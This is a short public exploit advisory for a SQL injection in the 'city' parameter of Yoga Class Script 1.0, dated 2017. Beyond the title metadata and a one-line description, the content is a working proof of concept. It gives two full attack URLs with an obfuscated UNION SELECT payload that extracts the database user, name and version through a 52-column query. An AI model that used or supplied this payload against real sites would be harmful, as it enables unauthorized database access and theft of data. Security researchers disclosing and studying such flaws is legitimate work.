Yoga Class Script 1.0 - 'list?city' SQL Injection

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# Exploit Title: Yoga Class Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/yoga-class-script/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept: 
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# 1)
# http://localhost/[PATH]/list?city=[SQL]&main_search=
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# -'+/*!01111UNION*/+/*!01111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-&main_search=
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# http://server/list?city=-'+/*!01111UNION*/+/*!01111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-&main_search=
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